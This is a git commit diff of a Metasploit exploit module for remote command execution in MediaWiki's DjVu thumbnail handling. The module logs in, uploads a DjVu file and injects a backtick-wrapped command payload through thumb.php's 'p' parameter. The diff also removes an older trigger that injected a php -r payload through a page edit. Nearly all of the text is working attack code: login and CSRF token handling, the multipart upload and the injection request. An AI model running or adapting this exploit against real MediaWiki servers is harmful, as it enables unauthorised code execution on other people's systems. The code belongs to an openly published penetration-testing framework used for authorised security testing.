Use bperry's trigger

bug/bundler_fix
Meatballs 2014-02-04 00:51:34 +00:00
parent 76515092ce
commit 2fd8257c7e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 120 additions and 102 deletions

View File

@ -4,7 +4,6 @@
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@ -13,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki DjVu Authenticated Remote Command Execution',
'Name' => 'MediaWiki DjVu Thumb Remote Command Execution',
'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu file upload support is enabled, allows remote authenticated
@ -23,6 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'Netanel Rubin', # from Check Point - Discovery
'Brandon Perry', # Metasploit Module
'Ben Harris', # Metasploit Module
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
],
@ -35,31 +35,74 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP, # Could do ARCH_CMD
'Targets' =>
[
[ 'Automatic', { } ],
[ 'PHP-CLI',
{
'Payload' =>
{
'BadChars' => "`\r\n'",
'PrependEncoder' => "php -r '",
'AppendEncoder' => "'"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP
}
],
[ 'CMD',
{
'Payload' =>
{
'BadChars' => "`",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'Payload' =>
{
'BadChars' => "\r\n"
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 28 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
OptString.new('FILENAME', [ false, "Target DjVu file (e.g target.djvu)", nil ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
], self.class)
end
def get_version(body)
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
unless meta_generator
vprint_status("No META Generator tag on #{full_uri}.")
return nil, nil, nil
end
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
return major, minor, patch
end
return nil, nil, nil
end
def check
uri = target_uri.path
opts = { 'uri' => uri }
opts = { 'uri' => normalize_uri(uri, 'index.php') }
response = send_request_cgi_follow_redirect(opts)
@ -75,40 +118,29 @@ class Metasploit3 < Msf::Exploit::Remote
# Mediawiki will give a 404 for unknown pages but still have a body
if response.code == 200 || response.code == 404
vprint_status("#{response.code} response received...")
meta_generator = get_html_value(response.body, 'meta', 'generator', 'content')
unless meta_generator
vprint_status("No META Generator tag on #{full_uri}.")
major, minor, patch = get_version(response.body)
unless major
return CheckCode::Unknown
end
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
if major != 1
if major != 1
return CheckCode::Safe
else
if minor < 8 || minor > 22
return CheckCode::Safe
else
if minor < 8 || minor > 22
if minor == 22 && patch > 1
return CheckCode::Safe
elsif minor == 21 && patch > 4
return CheckCode::Safe
elsif minor == 19 && patch > 10
return CheckCode::Safe
else
if minor == 22 && patch > 1
return CheckCode::Safe
elsif minor == 21 && patch > 4
return CheckCode::Safe
elsif minor == 19 && patch > 10
return CheckCode::Safe
else
return CheckCode::Appears
end
return CheckCode::Appears
end
end
else
return CheckCode::Unknown
end
else
vprint_status("Received response code #{response.code} from #{full_uri}")
@ -118,13 +150,21 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
uri = target_uri.path
# If we have already identified a DjVu file on the server trigger
# the exploit
if datastore['FILENAME']
payload_request(uri, datastore['FILENAME'])
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = target_uri.path
print_status("Grabbing login CSRF token...")
response = send_request_cgi({
'uri' => uri,
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'title' => 'Special:UserLogin' }
})
@ -132,6 +172,20 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end
major, minor, patch = get_version(response.body)
# Upload CSRF added in v1.18.2
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
upload_csrf = false
elsif ((major == 1) && (minor < 18))
upload_csrf = false
else
upload_csrf = true
end
session_fixation = (major == 1 && minor <= 15)
session_cookie = response.get_cookies
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
@ -144,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Attempting to login...")
login = send_request_cgi({
'uri' => uri,
'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST',
'vars_get' => {
'title' => 'Special:UserLogin',
@ -168,9 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
print_status("Getting upload CSRF token...")
# Testing v1.15.1 it looks like it has session fixation
# vulnerability so we dont get a new session cookie after
# authenticating. Therefore we need to include our old cookie.
unless auth_cookie.include? 'session='
auth_cookie << session_cookie
end
print_status("Getting upload CSRF token...") if upload_csrf
upload_file = send_request_cgi({
'uri' => normalize_uri(uri, "/Special:Upload"),
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'cookie' => auth_cookie
})
@ -178,14 +239,14 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotFound, "Failed to access file upload page.")
end
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value')
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
title = get_html_value(upload_file.body, 'input', 'title', 'value')
unless wp_edit_token
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
else
if upload_csrf && wp_edit_token
print_good("Retrieved upload CSRF token.")
elsif upload_csrf
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
end
upload_mime = Rex::MIME::Message.new
@ -198,7 +259,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
@ -208,7 +269,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "Special:Upload"),
'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
'cookie' => auth_cookie
@ -225,64 +286,21 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
random_page = rand_text_alpha(8)
payload_request(uri, file_name)
end
print_status("Retrieving edit CSRF token for target page: #{random_page}...")
random_edit = send_request_cgi({
'uri' => uri,
'vars_get' => {
'title'=> random_page,
'action' => 'edit'
},
'cookie' => auth_cookie
})
unless random_edit and random_edit.code == 200
fail_with(Failure::NotFound, "Failed to open target edit page: #{random_page}.")
end
wp_auto_summary = get_html_value(random_edit.body, 'input', 'wpAutoSummary', 'value')
wp_edit_token = get_html_value(random_edit.body, 'input', 'wpEditToken', 'value')
wp_start_time = get_html_value(random_edit.body, 'input', 'wpStarttime', 'value')
wp_edit_time = get_html_value(random_edit.body, 'input', 'wpEdittime', 'value')
old_id = get_html_value(random_edit.body, 'input', 'oldid', 'value')
wp_scroll_top = get_html_value(random_edit.body, 'input', 'wpScrolltop', 'value')
wp_section = get_html_value(random_edit.body, 'input', 'wpSection', 'value')
if wp_edit_token
print_good("Retrieved edit CSRF token.")
else
fail_with(Failure::UnexpectedReply, "Failed to retrieve edit CSRF token.")
end
edit_mime = Rex::MIME::Message.new
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
post_data = edit_mime.to_s(true)
def payload_request(uri, file_name)
p = "1`#{payload.encoded}`"
print_status("Sending payload request...")
edit = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'cookie' => auth_cookie,
send_request_cgi({
'uri' => normalize_uri(uri, 'thumb.php'),
'vars_get' => {
'title' => random_page,
'action' => 'submit'
'f' => file_name,
'width' => '1',
'p' => p
},
'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
}, 1)
if edit
fail_with(Failure::PayloadFailed, "Server responded to edit request (Not expected).")
end
})
end
# The order of name, value keeps shifting so regex is painful.
@ -308,7 +326,7 @@ class Metasploit3 < Msf::Exploit::Remote
return doc.root.attributes[value]
end
nil
''
end
end